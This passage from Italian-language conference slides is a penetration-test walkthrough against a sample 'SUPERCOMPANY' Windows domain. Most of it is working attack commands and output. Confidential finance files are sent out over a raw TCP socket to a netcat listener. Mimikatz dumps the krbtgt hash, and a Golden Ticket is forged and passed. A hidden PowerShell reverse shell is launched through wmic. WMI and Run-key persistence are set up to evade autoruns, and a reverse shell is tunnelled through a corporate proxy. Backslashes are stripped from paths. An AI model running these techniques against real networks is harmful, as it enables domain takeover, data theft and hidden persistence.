  • 48. ➔ Dal FileServer Finalmente upload! PS C:tmp> . .upload.ps1 PS C:tmp> invoke-upload -infile f:finanzariservatoSupersecret.docx -uri http://SRVWSUS:8889/ content:System.Net.Http.StreamContent DONE PS C:tmp> invoke-upload -infile f:finanzariservatobilancio.xlsx -uri http://SRVWSUS:8889/ content:System.Net.Http.StreamContent DONE
  • 49. Alternativa? PMFU! ➔ PMFU == Poor Man File Upload == niente fronzoli, minimal ➔ Sulla nostra macchina: PS C:tmp>$c=New-Object System.Net.Sockets.TCPClient('SRVWSUS_IP',8889); $s=[System.IO.File]::ReadAllBytes("f:finanzariservatosupersecret.docx"); $st=$c.GetStream();$st.Write($s,0,$s.Length);$st.Flush();$c.Close() # nc -lp 80 > supersecret.docx
  • 50. File grandi?! $src= "f:finanzariservato" $dst= "c:tmpfiles.zip" [Reflection.Assembly]::LoadWithPartialName("System.IO.Compression.FileSystem") [System.IO.Compression.ZipFile]::CreateFromDirectory($src,$dst, [System.IO.Compression.CompressionLevel]::Optimal,$true)
  • 52. Fear the Golden Ticket attack* ➔ Il “Golden Ticket” è un ticket Kerberos (TGT) creato offline in modo tale da garantire l’accesso fraudolento ad un dominio AD, impersonando qualsiasi utente (anche il Domain Admin), e valido anche per 10 anni! ➔ Funziona anche se la vittima cambia la sua password ➔ Come è possibile? ◆ Il ticket e i dati autorizzativi sono firmati con gli hash dell’account “krbtgt” * by Benjamin DEPLY - mimikatz
  • 53. Golden Ticket? DIY! ➔ PRE: nuovo portforwarding su SRVWSUS, smbexec.ps1, upload mimigatto.ps1, etc... per ottenere shell come SYSTEM sul domain controller ➔ Export hash di krbtgt con mimikatz e preso il SID del dominio: PS C:windowstemp>ChiamaIlGatto -command '"privilege::debug” "LSADump::LSA /name:krbtgt /inject"' > hash.txt PS C:windowstemp>type hash.txt Domain : SUPERCOMPANY / S-1-5-21-3534665177-2148510708-2241433719 RID : 000001f6 (502) User : krbtgt * Primary LM : NTLM : 3003567af268a4a94e26f410e84353f1 ... aes256_hmac (4096) : 9bf24ba27d9ddf67e077cbab435e06e8006109bc572793868ea3864b465fd155 aes128_hmac (4096) : 46be43e81ca521d647f332bd4e1b7897 des_cbc_md5 (4096) : d5ade3405ea183ce
  • 54. Golden Ticket? DIY! ➔ E poi ... comodamente offline! mimikatz# kerberos::golden /admin:Administrator /domain:supercompany.LOCAL /sid:S-1-5-21-3534665177-2148510708-2241433719 /aes256:9bf24ba27d9ddf67e077cbab435e06e8006109bc572793868ea3864b465fd155 /ticket:admin.krb
  • 55. ➔ Da SRVWSUS: shell Local SYSTEM ➔ Download admin.krb (ticket kerberos) ➔ Pass-The-Ticket! Golden Ticket in action! mimikatz(powershell) # kerberos::ptt admin.krb * File: 'admin.krb': OK PS C:tmp> klist Current LogonId is 0:0x3e7 Cached Tickets: (1) #0> Client: Administrator @ supercompany.LOCAL Server: krbtgt/supercompany.LOCAL @ supercompany.LOCAL
  • 56. Golden Ticket in action! # nc -lvp 443 … PS C:Windowssystem32> whoami supercompanyadministrator PS C:tmp> copy c:tmpr3.ps1 SRVDC1C$windowstempr3.ps1 PS C:tmp> wmic /authority:"kerberos:SUPERCOMPANYSRVDC1" /node:SRVDC1 process call create "powershell -exec bypass -windowstyle hidden -f c:windowstempr3.ps1" Executing (Win32_Process)->Create() Method execution successful. ... Long time persistence
  • 58. Persistenza ➔ Windows Management Instrumentation (WMI), un posto meno “scontato” dove aggiungere persistenza, sfruttando l’evento InstanceModificationEvent PS> $filterName = "JustForTestFilter" PS> $consumerName = "JustForTestConsumer" PS> $exePath = "C:windowshelpwindowsindexstorer.bat" PS> $Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 200 AND TargetInstance.SystemUpTime < 300" PS> $WMIEventFilter=Set-WmiInstance -Class __EventFilter -NameSpace "rootsubscription" -Arguments @{Name=$filterName;EventNameSpace="rootcimv2";QueryLanguage="WQL"; Query=$Query} -ErrorAction Stop PS> $WMIEventConsumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace "rootsubscription" -Arguments @{Name=$consumerName;ExecutablePath=$exePath;CommandLineTemplate=$exepath } PS> Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "rootsubscription" -Arguments @{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer}
  • 59. Persistenza ➔ E la PS shell? Cosa fare nel caso di una caduta? ➔ No problem, ci si rialza! PS C:windowshelpwindowsindexstore>type r.bat @echo off :loop powershell -nop -executionpolicy bypass -windowstyle hidden -f C:windowshelpwindowsindexstorer.ps1 timeout /t 30 goto loop
  • 60. Persistenza ➔ Bonus trick: “autoruns” non se ne accorge! Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun] "Stealth"="Rundll32.exe SHELL32.DLL,ShellExec_RunDLL "C:windowshelpwindowsindexstorer.bat"" https://gist.githubusercontent.com/hasherezade/e3b5682fee27500c5dabf5343f447de3
  • 61. Tecniche e soluzioni “alternative” ➔ Reverse shell attraverso un Proxy? ➔ Basta aggiungere le configurazioni relative al Proxy/Credenziali nella nostra reverse shell S C:windowsind $rhost="X.X.X.X" $rport="80" $uri = "http://" + $rhost + ":" + $rport $proxy = [System.Net.WebRequest]::DefaultWebProxy $proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials $Request = [System.Net.HttpWebRequest]::Create("http://" + $rhost + ":" + $rport) $Request.Method = "CONNECT" $Request.Proxy = $Proxy $resp = $Request.getResponse() $respstream = $resp.GetResponseStream() $bflags = [Reflection.BindingFlags] "NonPublic,Instance" $rstype = $respstream.GetType() $connprop = $rstype.GetProperty("Connection", $bflags) $connection = $connprop.GetValue($respstream, $null) $conntype = $connection.GetType() ...
  • 62. Tecniche e soluzioni “alternative” ➔ “Multi-Netcat” reverse shell listener ◆ https://github.com/nemanjan00/reverse-shell-listenerS C:windowsind
  • 63. Grazie ai revisori dell’articolo originale ... .. a Mario e tutto lo staff di HackInBo Un saluto agli amici dello “Snado Team”!! PS>.installSNADO.ps1 -permanent Andrea <decoder.ap@gmail.com>, <@decoder_it> Giuseppe <giutrotta@gmail.com>, <@giutro>